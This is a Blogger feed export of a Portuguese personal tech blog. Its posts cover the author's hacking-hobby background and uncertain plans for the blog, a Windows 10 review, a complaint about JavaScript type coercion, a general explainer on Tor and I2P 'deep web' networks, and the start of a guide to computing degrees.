tag:blogger.com,1999:blog-33709273110873743822024-03-05T13:39:08.566-03:00Dutra HackingComputer Stuff & Security Unknownnoreply@blogger.comBlogger219125tag:blogger.com,1999:blog-3370927311087374382.post-7422251596417474652021-10-10T01:06:00.008-03:002021-10-13T22:14:25.813-03:00O futuro (talvez o fim?) desse blog<p>Olá novamente! Depois de tanto tempo, estou de volta.<br /><br />Eu tenho orgulho, gosto muito do que esse blog fez na vida das pessoas, o quanto ajudou. Eu fico feliz pelos quase 1 milhão e 500 mil acessos. Muitas publicações aqui eu não tenho orgulho de tê-las feito, e muitas já reverti pra rascunho ou removi. Eu já escrevi e me dediquei muito para esse blog. Não sei se quero mais continua-lo. Eu sou uma pessoa muito diferente de quando comecei o blog há 10 anos atrás, em 2011.<br /></p><h3 style="text-align: left;">Sobre mim</h3>Eu nunca falei muito sobre mim, mas me chamo Lucas. Incentivei muitas pessoas a entrarem na área de cyber segurança e desenvolvimento de software com esse blog. <p></p><p>Atualmente sou Desenvolvedor Web com conhecimento e foco em PHP e Laravel, com bastante background em HTML, CSS, SASS, JavaScript puro, jQuery e Typescript, Nginx, Apache e tenho conhecimento em C puro, Java pra desktop, MySQL, PostgreSQL, Python para desktop, shellscript e sou usuário de Linux em dual-boot há alguns anos (e já tendo passado por diversas distros). Já brinquei com batch script, VBScript, AutoIT mas dessas 3 aí eu particularmente não domino.</p><p>Sobre cyber segurança eu me interessei quando eu tinha 13 anos, me perguntando como diabos<span></span></p><a name='more'></a> crackers/bankers roubavam bancos online e como os bancos faziam para se proteger, eu queria conhecer o "ataque" e a "defesa" desses sistemas. Lembro de ter lido alguma notícia online enquanto usava o Windows XP do meu padrinho na época. Lembro que daí fiz o que todo mundo pensa em fazer na primeira vez: pesquisar no Google! E lá fui eu: "como se tornar um hacker", e bingo, o primeiro resultado que apareceu provavelmente mudaria minha vida: era o lendário guia "Hacker howto" do Eric S. Raymond.<br /><br />No guia falava de forma bem clara a diferença entre hacker e cracker, e que hacker era um usuário avançado de computadores, sendo capaz de programar, entender como o sistema funciona por debaixo dos panos, saber como funcionam as redes de computadores e entendendo o hardware. Foi ali que ele me incentivou a aprender HTML e Python. De qualquer forma eu queria saber sobre cyber-segurança, e eu ainda pesquisava coisas como "programas hacker" no Google. Acabei brincando com coisas como<br /><p></p><ul style="text-align: left;"><li>Prorat</li><li>SubSeven</li><li>InsecurityNet</li><li>Angry IP Scanner</li><li>Turkojan</li><li>Hacknet (ou era Hackanet?)</li><li>Havij</li><li>LOIC e HOIC</li><li>T50</li><li>sqlmap</li><li>Acunetix</li><li>Ettercap</li><li>Cain & Abel</li><li>John The Ripper</li><li>Netcat</li><li>web shells C99 e R57</li><li>e vários outros que não lembro de cabeça</li></ul><div>Já coisas como Metasploit, Nessus, eu nunca tinha usado. Eu era só um script kiddie e usuário de programas pra fazer besteira. Naquela época até cogitei aprender a linguagem Perl que era famosa entre a galera de hacking (hoje já é Python), mas eu tinha pouco tempo para ler e praticar, e muitas vezes achava chato longos tempos lendo na tela. <br /><br />Em 2014 eu comecei a fazer alguns cursos na área de segurança, fiz um básico de introdução a infosec, fiz um básico de segurança de redes e um de teste de invasão em aplicações Web, na Hackproofing do Luiz Vieira. E então foi aí que o negócio ficou mais profissional. Eu já era desenvolvedor web na época, e meu conhecimento aumentou absurdamente quando aprendemos sobre todos os ataques da OWASP Top 10 e aprendermos a fazer ferramentas para os "top 10 maiores tipos de vulnerabilidades" , e na época até aprendemos XEE (xml external entity) que era uma falha bem quente na época, que nem tinha na OWASP ainda. O tempo foi passando, e o último curso que fiz depois na área de segurança foi um básico de criptologia.</div><div><br /></div><div>Eu nunca cheguei a atuar na área de infosec diretamente, mas sempre me mantive informado sobre falhas e tal, e volte meia eu brincava de atacar aplicações web em localhost com XAMPP ou WAMP.</div><h4 style="text-align: left;"><br /></h4><h4 style="text-align: left;">Sobre o Blog de agora em diante</h4><div><br /></div><div>Eu não sei mais o que postar. Eu teria muita coisa pra escrever, mas o SEO pra dominios blogspot parece ter decaído muito, e o site Medium (exclusivo pra blogar) parece ter se tornado o novo hype de uns 3 anos pra cá. Eu até pensei em fazer um site próprio e hospedar, mas meio que não tenho paciência e o design aqui do Dutra Hacking é péssimo. Até dá pra mexer no XML do template dele mas é muito chato, eu queria fazer do zero, até pra dizer "sei fazer templates de Blogger/Blogspot". É algo bem de nicho, pois o blogger tem sua linguagem própria usada dentro do XML (por exemplo pra pegar o número de posts da página, nome do autor, nome do blog, número de comentários, fazer condições e loops, etc). Mas no fim não faço pois não tenho paciência. Penso até em fazer um CSS próprio basicão usando SASS, e Bootstrap 5.1 por trás, pra não ter que ficar mexendo com o front-end que não gosto muito. </div><div><br /></div><div>Acredito que as pessoas leem muito pouco hoje, acho que elas preferem mais vídeos e imagens do que texto. Parece que não têm mais paciência.<br /><br />Eu queria muito escrever um tutorial de batch script, de vbscript, de shellscript e de como fazer ferramentas pra pentest usando PHP em linha de comando (scripts), que hoje está na versão 8 e é poderosíssima, muito mais que Perl era. Não acho que hoje seja melhor que Python para isso, mas como de Python já tem tutorial a rodo e PHP é meu domínio, eu acredito que eu ensinaria bem (já que tenho mais ou menos 8 anos de experiência com). Aí fica no ar: será que devo ou não fazer esses tutoriais? Será que faço aqui ou em outro lugar tipo Medium? ou será que faço outro site e ponho os tutoriais lá? Enfim. Preguiça pra pensar e arquitetar tudo isso. Talvez um dia eu faça. Hoje tenho diversas coisas pra fazer que julgo mais importantes para mim. </div><div><br /></div><div>Uma coisa que eu já previa que em alguns anos ia acontecer: muitos links do blog seriam inativados (pois linkam para serviços/sites de terceiros) e eles mudam a estrutura do site, vendem o site ou mesmo o domínio expira. Com isso foram vários arquivos embora pra sempre e vários sites legais se foram. Portanto isso invalidou muito post que tinha aqui (a maioria já removi).</div><div><br /></div><div>Uma coisa que também me desmotiva é que o Google tirou fora as imagens que eu tinha aqui do blog, hospedadas na minha conta google (que eu usava @hotmail.com pra logar). Quando eles fizeram a transição das "Contas Google" de todos os emails paralelos para virarem novos Gmails no lugar, foi quando tiraram todas as minhas imagens aqui do blog e de outros blogs que eu tinha. Tinha até esses outros blogs da conta e que eu nem consigo acessar mais, nem lembro os domínios/links, tiraram tudo, não recebi nem um aviso, é por isso que se você procurar aqui pelo blog as imagens nos posts, você vai ver que as imagens linkam pra "404" com um ponto de exclamação (não encontradas). Enfim eu vou pensar ainda sobre o futuro disso aqui. <br /><br />Eu devo agradecer antes de tudo e mais nada a 3 pessoas: Ramon, meu primo formado em ciências da computação que troquei muita ideia com ele, que tirou várias dúvidas, me passou vários materiais e insights de computação. Meu cunhado Maicon, que me pôs numa escola de qualidade no ensino médio e na escola de inglês Yázigi, que essencialmente me trouxeram onde cheguei hoje, e agradecer ao primeiro técnico (hoje já não é mais) de informática que conheci e que me ajudou a despertar muita curiosidade por T.I., o Charles. <br /><br /><br /></div><p></p>Lucas M. Dutrahttp://www.blogger.com/profile/05416498722373067975noreply@blogger.com0tag:blogger.com,1999:blog-3370927311087374382.post-42221111637883279392017-04-15T03:25:00.002-03:002017-04-15T20:42:34.251-03:00Review Windows 10 - Vale mesmo a pena usar?<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVxX3OM2S3UJQLgpXQCODHPwLKTyO50L5_hwYZTxHai_WwU4hSW_j7u8wlcTIGV3w15vS_i5M1tHHXa5drf59BYgKsvz4ECJUU04RLytC-SsHCa5pL58dqi5CowN4z7M_IdtAnYs_y8Lo/s1600/desktop+foda.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img alt="Windows 10 desktop" border="0" height="225" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVxX3OM2S3UJQLgpXQCODHPwLKTyO50L5_hwYZTxHai_WwU4hSW_j7u8wlcTIGV3w15vS_i5M1tHHXa5drf59BYgKsvz4ECJUU04RLytC-SsHCa5pL58dqi5CowN4z7M_IdtAnYs_y8Lo/s400/desktop+foda.png" title="Windows 10 desktop start" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">A volta do Menu Iniciar </td></tr>
</tbody></table>
<br />
<br />
Bom, já tem pouco mais de um ano que o #Windows10 foi lançado entretanto decidi fazer essa review sobre ele, mais para aqueles que não usaram e/ou tem receio de atualizar.<br />
<br />
Eu usava o #Windows7 , não curtia muito o Windows 8.1, porém o 10 no geral me impressionou bastante, e nessa semana decidi atualizar do 7 para o 10 e testar, e não demorou muito, menos de 40 minutos (tenho um Desktop Gamer de 2013), pressuponho que para computadores um pouco mais fracos leve cerca de 1 hora.<br />
<br />
Ele tem esse Clean Design Flat, aparenta estar mais rápido para tarefas diárias (abre aplicativos e programas mais rápidos), Ele ficou como um sistema operacional híbrido em questões de plataforma, possibilitando instalar Apps de tablets e celulares nele, pela Windows Store que é integrada, e usá-los caso especifique na página do aplicativo (isso quer dizer que você não vai conseguir rodar qualquer aplicativo de celular no seu windows, porém uma grande maioria funciona) como se fossem programas executáveis clássicos.<br />
<br />
<a name='more'></a><br />
Sobre atualizações, ele está constantemente atualizando e melhorando, acredito que a preferência de banda de atualizações enviadas da Microsoft seja para o Windows 10, é o único que possui suporte ativo, <a href="http://www.techtudo.com.br/noticias/noticia/2016/01/microsoft-encerra-suporte-do-windows-8-atualize-para-o-windows-81.html" rel="nofollow" target="_blank">além do Windows 8.1</a> os demais sistemas operacionais já terminaram suporte.<br />
<div>
<br />
Possui o recurso "Luz noturna" no qual escurece a tela, proporcionando uma melhor proteção ao olhos e tornando mais agradável uma leitura duradoura;</div>
<div>
Foi ampliado a àrea de mensagens e notificações;</div>
<div>
O Menu Iniciar volta a aparecer, possibilitando personalizar a posição e o tamanho que cada app irá ocupar, além de poder criar grupos e dar nome a eles, e aumentando o tamanho que quiser para preencher com todos os seus apps e softwares preferidos. Alguns são dinâmicos e trazem <i>feed</i> de informações em tempo real, como o aplicativo de notícias por exemplo. O de fotos fica mostrando algumas imagens que você abriu recentemente ou que estão na sua pasta pessoal de imagens, outro exemplo é o app de clima reportando o clima atual, etc;<br />
<br />
<br />
<br />
Ele vem com alguns aplicativos instalados (que podem ser desinstalados facilmente depois) e outros são pequenos (em questões de tamanho no disco) facilmente encontráveis na Windows Store. Em seguida falarei de cada um deles, conforme a 1ª imagem desse post.<br />
<br />
Vou falar de cada um deles, começando no agrupamento de Apps da imagem chamado "Windows Apps" e depois falarei do grupamento chamado "Creative" que criei;<br />
<br />
A começar da esquerda para a direita, de cima para baixo,<br />
<h4>
No agrupamento "Windows Apps" são eles:</h4>
<ol>
<li>Filmes & TV: Permite não só executar vídeos, filmes e séries. como comprar online mídias para assistir;</li>
<li>Groove Música: Rusticamente falando é como se fosse um Spotify, Google Music<sup>1</sup>, permitindo não só comprar como escutar as músicas do seu computador, reconhece as playlists do Windows Media Player e também o substitui. Em geral, se tornou o tocador de áudio padrão do Windows 10 com design bem mais bonito que o antigo Windows Media Player;</li>
<li>Fotos: Um App que faz o browsing de fotos, permitindo compartilhar e fazer álbuns;</li>
<li>Sticky Notes: Notas auto-adesivas da área de trabalho. A grande novidade é que ela integra facilmente com a Cortana e com o Bing, trazendo informações relevantes sobre o que você escreve;</li>
<li>Windows Store, um aplicativo pra ir na Store da Microsoft para baixar e instalar outros aplicativos; </li>
<li>Windows Defender: Anti-vírus da Microsoft, com Firewall integrado, controle de aplicativos e do navegador;</li>
<li>Mapas: Mapa mundial, eu não queria comparar mas sei que os que estão lendo talvez gostariam que eu comparasse ao Google Maps<sup>2</sup>. As grandes diferenças são estruturas 3D, Street View, Caminhos de transporte público, rotas aéreas e de bicicletas e alguns(umas) empresas/comércios/indústrias que aparecem no mapa, nos quais os Mapas da Microsoft não possuem, entretanto é possível ver tanto vistas de estradas quanto imagens do satélite, ver rotas, informações de trânsito, áreas verdes etc etc</li>
<li>Calculadora: Ela tem a versão padrão, como científica, programador, calculo de datas, e também possui conversores de: volume, comprimento, peso e massa, temperatura, energia, área velocidade, tempo, potência, dados, pressão e ângulo. Ela tem histórico e memória. Aparentemente ela ainda perde para a calculadora do Windows 7, quem em questões de recursos, tinha muito mais, <u>um recurso que senti falta foi a parte da calculadora estatística - que com certeza muitos sentirão falta</u>;</li>
<li>Alarmes e Relógios: Visualiza e muda o relógio para outras regiões, alarme, cronômetro e temporazador;</li>
<li>Pessoas: Seus contatos e seu histórico com eles;</li>
<li>Email: Software de email padrão, podendo integrar com suas contas de email;</li>
<li>Hub de Feedback: App para reportar problemas, erros, ou do contrário agradecimentos, recomendações, dicas, com direito a número de estrelas e comentários;</li>
<li>Skype: O software padrão de comunicação entre pessoas da Microsoft, todos conhecem, o diferencial é que o visual dele está muito limpo e enxuto; Para aqueles que possuem o Office, ganham uma cota de 60 minutos de ligações gratuitas por mês;</li>
<li>Edge: Navegador de internet padrão agora da Microsoft, que fez cair por terra seu antecessor, Internet Explorer. O Edge está muito mais seguro, rápido, personalizável, e com recurso de grifar a página, e suporte a compartilhamento no cortana, OneNote e email. Possui modo de leitura também integrado caso a página ofereça;</li>
<li>Câmera: App para se conectar com alguma câmera/filmadora que estiver conectada ao seu computador para filmar e tirar fotos;</li>
<li>Gravador de Voz: é simples e clean, auto-explicativo;</li>
<li>Math: Solucionador de formulas matemáticas, e também possui rotina de aprendizagem de boa parte da matemática;</li>
<li>Mensagens: Mostra mensagens recebidas do Skype e de SMS (caso seu dispositivo receba)</li>
<li>OneDrive: Virtual Cloud Drive da Microsoft para você fazer backup e hospedar seus arquivos com segurança. Vale lembrar que para aqueles que possuem o Office ganham uma cota maior de armazenamento;</li>
<li>Cortana: Uma assistente virtual que fala com você, que te ouve ou lê o que escreve, podendo contar piadas, resolver cálculos simples, reproduzir músicas, dar informações sobre clima e tempo, como está o trânsito etc... Algo bem inteligente, também está presente no Office; </li>
<li>Tradutor: Possui 60 idiomas (mais ou menos metade dos idiomas que o Google Translate possui<sup>3</sup>), reconhece voz e reproduz o conteúdo escrito e traduzido, além de detectar idiomas, só não testei o recurso de imagem, pois eu não possuía câmera integrada ao computador na hora, nem se ele traduz a imagem em tempo real ou só imagem estáticas, ambas como o Google Translate faz;</li>
<li>Dicas: Dicas de como usar o Windows, tutoriais, faqs etc;</li>
<li>Pasta do OneDrive pelo Explorer;</li>
<li>Explorer: explorador de arquivos padrão, aparentemente com umas poucas diferenças, como a localização dos acessos rápidos;</li>
<li>OneNote: App para criar ideias, listas, lembretes, esboços etc. Antes pertencia ao Office, e agora é grátis;</li>
<li>Windows Media Player: Apesar de substituído pelo Groove Música, ainda pode ser habilitado e usado;</li>
<li>Xbox: Possui sua central de jogos, com seu perfil, permitindo jogar games pelo Windows 10 mesmo. Se você tem algum jogo original de Xbox você também pode colocar o DVD e jogar;</li>
<li>Leitor: Leitor de PDFs padrão do Windows, clean demais, fácil para ler. Na minha opinião só poderia melhorar com um ícone de sair de tela cheia;</li>
<li>Notícias: App bem interessante, no qual você recebe o feed de notícias do site "MSN", que permite você escolher suas fontes/sites, e o assunto no qual deseja receber;</li>
<li>Mixed Reality Portal: Aparentemente se conecta ao Microsoft Hololens (óculos inteligente da Microsoft), não cheguei a confirmar;</li>
</ol>
<h4>
No grupamento de Apps "Creative", que também são padrões da Microsoft:</h4>
<ol>
<li>Ferramenta de Captura & Corte: Caso queira tirar um "print-screen" já recortando alguma parte;</li>
<li>Paint: Famoso software para criar desenhos e pinturas;</li>
<li>Paint 3D: permite criar desenhos 3D;</li>
<li>3D Builder: Possui alguns modelos prontos de objetos 3D no qual você pode não só usar como criar outros;</li>
<li>Exibição 3D: App para melhor visualização de objetos 3D;</li>
<li>Fresh Paint: App para pintar com aquarela, óleo, pincel, e despertar instintos artísticos antes impossibilitados pela tecnologia do paint, com esse é possível dar um toque "molhado" às pinturas, no qual reagem às misturas, encontro de cores, etc;</li>
</ol>
No grupamento de Apps "Clima Tempo" que criei, coloquei:<br />
<ol>
<li>Calendário: Calendário com agenda de eventos embutida, com suporte a horários, avisos, marcar pessoas da sua lista de contatos etc;</li>
<li>Clima: App que, com o uso da sua localização, emite a previsão do tempo, umidade, velocidade do vento, sensação de temperatura, etc, bem completo;</li>
</ol>
Sobre softwares em geral, aparece uma ou outra incompatibilidade com softwares de muito tempo atrás, mas nada impossível de resolver. <br />
<br />
Fui testar como seria jogar, e escolhi Far Cry 4, o Windows 10 teve um desempenho superior para carregar o jogo, e renderizar locais do mapa. Provavelmente houve alguma configuração/integração automática que o computador fez com minha placa de vídeo, tornando a experiência do jogo melhor, o que me deixou bem surpreso, haja vista que no Windows 7 muitas vezes o jogo dava <i>lags</i> para renderizar partes da geografia do mapa, e nas telas de loading. No Windows 10 isso deixou de acontecer. Entretanto, nem tudo foram flores, o novo sistema operacional também ofereceu um recurso interessante, o de recordar a tela (incluindo com o microfone caso o jogador desejar) que para mim, resultou num <i>bug</i>. O problema não foi começar a recordar a tela (Win+G), foi ao parar o recording (pressionando as mesmas teclas), que fez o jogo congelar, e nem sequer eu pude sair do jogo com Ctrl+Alt+Del, Alt+Tab, Win, Alt+F4... Não havia tecla que "descongelasse" a tela, apenas o áudio aparentou continuar normalmente. Foi necessário desligar com o dedo no botão de ON/OFF do gabinete, infelizmente. Esse foi o único problema aparente para jogos. Executou Far Cry 1 e Dishonored tranquilamente.<br />
<br />
E para quem usa o PowerShell, ele já vem instalado no Windows 10.<br />
<br />
Um outro recurso interessante que, eu não sei se tinha nativamente no Windows 8.1, é o Windows Hello, que se habilitado, não necessita de senha para logar, basta a câmera estar ligada na hora, e com um sorriso ele já acessa o desktop, sem precisar colocar senha alguma ou qualquer outra credencial. Você pode até pensar que isso abre brecha, obviamente para crackers usarem a webcam para visualizar tudo que acontece no seu quarto ou escritório, mas a verdade é que se eles quiserem mesmo, eles nem precisam que esse recurso esteja ativo (hu3) para usarem sua câmera, mas a ideia ainda é bem válida e traz praticidade; <br />
<br />
Eu não quero comparar a Microsoft ao Google, pois ambos têm softwares com nichos mais focados do que o outro em certas áreas. Por isso as notas abaixo.<br />
<br />
<h4>
Notas:</h4>
[1] Acho que foi melhor comparar o Groove ao Spotify e Google Music para entender, o Groove é bem similar e possui milhões de músicas à venda como seus concorrentes;<br />
[2] O Google investiu pesado no Street View, e a Microsoft, até o presente momento não tem como concorrer nessa questão, sendo inferior no software;<br />
[3] O Google já tem mais tempo na área de tradução de idiomas, e também está investindo há muito tempo, inclusive em inteligência artificial para realizar melhores traduções, fora os <i>feedbacks</i> que receberam nesse tempo inteiro, portanto, ele ainda é o melhor que existe;<br />
<br />
Já deixando claro que não sou fanboy da Microsoft, mas na minha opinião...<br />
A Microsoft se superou.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq_QkO4wJW7fTB7H3FU849S13phIeJmNXvQsW4ttVDHRtQCIhOhNHTEWlpSR0Xb9CCP_LAK4VToO8S3nJraPu5DO8BARbAc4smy24dnkWAFTBlmPGsEjCHlTIBbDQI7lvZZZanpzz55TU/s1600/area+de+trabalho.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="225" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq_QkO4wJW7fTB7H3FU849S13phIeJmNXvQsW4ttVDHRtQCIhOhNHTEWlpSR0Xb9CCP_LAK4VToO8S3nJraPu5DO8BARbAc4smy24dnkWAFTBlmPGsEjCHlTIBbDQI7lvZZZanpzz55TU/s400/area+de+trabalho.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Print Screen de como fica o desktop clean</td></tr>
</tbody></table>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj374rpCd250Oa-pX7p1fjR1X-JZQbtMeXJQs7oJyB1Y9SYqCHWZMTtQB03i3AixAuYSem4Uw0MFJu7EsIUVuv5jBOhShtmX5tFDZGCymgIzsNs_3oWz0dhNp-Ipgzf3TnAFgaWjDnaCSA/s1600/cortana.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img alt="Cortana" border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj374rpCd250Oa-pX7p1fjR1X-JZQbtMeXJQs7oJyB1Y9SYqCHWZMTtQB03i3AixAuYSem4Uw0MFJu7EsIUVuv5jBOhShtmX5tFDZGCymgIzsNs_3oWz0dhNp-Ipgzf3TnAFgaWjDnaCSA/s400/cortana.png" title="Cortana" width="257" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Cortana</td></tr>
</tbody></table>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://winblogs.azureedge.net/win/2016/04/Hello.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="160" src="https://winblogs.azureedge.net/win/2016/04/Hello.png" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Windows Hello: "A World without passwords"</td></tr>
</tbody></table>
<br />
E para quem curtiu os temas/wallpapers da minha área de trabalho que ficam em slides automáticos, o nome é <a href="http://download.microsoft.com/download/7/7/C/77CA9E0A-0958-4A04-8AD6-32A6E03CBB2C/TheMilkyWay.themepack" rel="nofollow" target="_blank">TheMilkWay Themepack (clique para download).</a><br />
<br />
O Sistema Operacional em si tem muito mais recursos a se analisar, mas no geral é isso, espero que tenham gostado. Comentem aí o que acharam! Se acrescentariam algo na análise, ou no que o Windows pode melhorar, ou compartilhe nas redes sociais! Essa é uma boa forma de incentivar meu trabalho! Obrigado.<br />
<br />
#Microsoft #Windows #MicrosoftBrasil #Win10<br />
<br /></div>
Lucas M. Dutrahttp://www.blogger.com/profile/05416498722373067975noreply@blogger.com0tag:blogger.com,1999:blog-3370927311087374382.post-47643182132603103232016-11-02T02:55:00.000-02:002016-11-14T00:43:23.376-02:00Why JavaScript is evil<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<h2 style="text-align: left;">
Por quê JavaScript é do mal?</h2>
<div>
<br /></div>
<div>
Uma imagem para explicar tudo, abra o console do seu navegador (F12) e confira...</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZ5HVfCWrxI0Kwp25OVrR0kWhRmr_uXEN7QLWNP9STm809BctFh5qyG0DV29SW1nMIg92fCVzo-uYEtBErhw2NOj63I04BqoGYtEakSpVzFsKNAjKcO09mCdKied45typwpDsb5TBiCIY/s1600/javascript+evil.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZ5HVfCWrxI0Kwp25OVrR0kWhRmr_uXEN7QLWNP9STm809BctFh5qyG0DV29SW1nMIg92fCVzo-uYEtBErhw2NOj63I04BqoGYtEakSpVzFsKNAjKcO09mCdKied45typwpDsb5TBiCIY/s1600/javascript+evil.JPG" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<a name='more'></a><br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Isso acontece por causa da inferência de tipos agregada a fraca tipagem. Parece também que, o JavaScript quando "não sabe" inferir um tipo para calcular/executar com outro, ele transforma um dos lados da operação para um tipo calculável, no caso do "Object", transforma em String, usando o método toString(), e os demais, ocorre transformações com erros de floats e algumas variáveis ou palavras da própria linguagem ele transforma em "1", "0" (como null) etc, e calcula... Realmente lamentável.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Solução: usar uma linguagem que compile para o JavaScript, como LiveScript, ClojureScript, Dart, TypeScript, etc...</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Estamos em um momento da história onde há pessoas (inclusive da Google, Mozilla e Microsoft) já desenvolvendo o "WebAssembly", espécies de bytecodes/binários (? alguém confirme) que serão lidos em todos os navegadores e então, poderão ser usadas outras linguagens de programação que compilem para projetar os sites e sistemas, sem usar mais o JavaScript.</div>
<div class="separator" style="clear: both; text-align: left;">
Provavelmente o JavaScript vai ser outra linguagem que irá compilar para "WASM", mas isso é incerto pelas minhas pesquisas até agora.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
</div>
Lucas M. Dutrahttp://www.blogger.com/profile/05416498722373067975noreply@blogger.com6tag:blogger.com,1999:blog-3370927311087374382.post-16579557969341544032016-10-27T01:40:00.002-02:002016-10-27T20:54:51.855-02:00Como realmente é a Deep Web? Por quê ela existe?<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
Muita gente tem dúvida a cerca do tema, muitos boatos, muitos rumores.<br />
A verdade é que as Deep Web's, não são mais do que "redes não indexadas" (prefira usar este termo) pelos motores de busca.<br />
<br />
O que isso quer dizer?<br />
R.: Sites como Google, Bing, Yahoo, Yandex não listam essas redes por padrão (embora alguns serviços de proxy já fizeram naturalmente essas redes começaram a aparecer nos motores de busca), pois em geral, não conseguem acessar os sites/dominios delas devido à necessidade de usar softwares específicos para conseguir obter acesso. <br />
<br />
<a href="http://dutrahacking.blogspot.com.br/2012/02/como-acessar-rede-de-internet-tor-onion.html" target="_blank">A mais famosa das redes da "Deep Web" é a TOR (The Onion Router).</a><br />
Existem outras bem conhecidas como<a href="http://dutrahacking.blogspot.com.br/2013/01/como-acessar-i2p-deep-web.html" target="_blank"> a I2P</a> e Freenet.<br />
<br />
Em algumas dessas redes, é possível encontrar sites de pedofilia, pornografia infantil, comércio de drogas, armas, tráfico de pessoas e até sites que oferecem assassinos de aluguel. Embora haja todos esses problemas, as forças federais dos governos vêm realizando um combate eficiente contra os criadores e usuários desses sites e serviços.<br />
<br />
<a name='more'></a><br />
<br />
Ouvi falar que elas tem camadas, isso é verdade? O que isso quer dizer também?<br />
R.: As camadas elas não existem, não existe essa de "nível de profundidade", o que acontece é através de uma rede você acessar outras redes não indexadas (de um site, acessar outro de outra rede, por ex.), isso é um roteamento feito pelos servidores responsáveis que querem fazer o "tunneling" entre uma rede e outra.<br />
<br />
O motivo da existência delas é a necessidade de ter anonimato. A crescente vigilância online pelos governos e por crackers (no passado muito conhecida com os termos "PIPA", "PRISM", etc) ocasionou que, para se comunicar de forma segura através da web ou de um software, era necessário criar redes paralelas, ocultas, que só quem tivesse um software específico ou a senha específica dela pudesse acessar aquele conteúdo. <br />
<br />
Pelo que se sabe, os primeiros a pensarem nisso foram os governos das potências mundiais, como EUA e Rússia, por questões militares.<br />
<br />
A vantagem de usar, é que com certeza, há menos pessoas querendo vigiar essas redes, poucas também são as que tem tempo, conhecimento e acesso para tal, o que ocasiona uma confiabilidade maior, ainda mais se nestas redes o usuário estiver conectado com sites HTTP<b>S</b> e com execução de scripts do navegador desabilitada.<br />
<br />
Para quem curte anonimato, redes de computadores, sistemas distribuídos, criptografia, privacidade e segurança da informação em geral, é um prato cheio estudar como essas redes funcionam.</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3370927311087374382.post-410690405483466712016-10-27T00:10:00.002-02:002017-07-28T18:16:51.235-03:00Diferenças entre Ciências da Computação, Engenharia da Computação, Sistemas de Informação entre outros<div dir="ltr" style="text-align: left;" trbidi="on">
Uma das grandes dúvidas para quem pretende realizar um curso superior na de Tecnologia da Informação e Comunicação (principalmente para aqueles que saíram do ensino médio recentemente), é: <u>qual dos cursos fazer?</u> Ciências da Computação, Engenharia da Computação ou Sistemas de Informação?<br />
Ainda tem os cursos de Engenharia de Software, Análise e Desenvolvimento de Sistemas, Sistemas para Internet, Redes de Computadores, Gestão de TI, Licenciatura em Informática etc etc etc...<br />
<br />
Falarei sobre cada um deles, mas para isso, precisamos dividir em cursos de <b>Bacharelado</b>, <b>Licenciatura </b>e de <b>Graduação Tecnológica</b>. Todos considerados cursos superiores.<br />
<br />
<h2 style="text-align: left;">
Bacharelados (4 - 5 anos de duração):</h2>
<div>
<br /></div>
<div>
Bacharelados são os que mais duram e os que mais têm matérias, portanto, os que mais agregam conhecimento e amplitude na área em que se estuda. Nesta categoria temos:</div>
<div>
<br /></div>
<h3 style="text-align: left;">
Ciência da Computação</h3>
<div>
<br /></div>
<div>
Geralmente com duração de 4 anos, este curso ensina basicamente o aluno a ter "ciência/conhecimento" de como a computação funciona, de suas várias áreas, sobretudo na área de <u>algoritmos, programação e estrutura de dados</u> e de como os softwares e sistemas operacionais funcionam "por debaixo dos panos". O aluno formado sai apto a realizar pesquisas científicas eficientes no ramo da computação e resolver diversos problemas quotidianos através da programação, banco de dados, podendo até usar inteligência artificial e conhecimentos em sistemas distribuídos.</div>
<div>
<a name='more'></a><br /></div>
<h3 style="text-align: left;">
Engenharia da Computação</h3>
<div>
<br /></div>
<div>
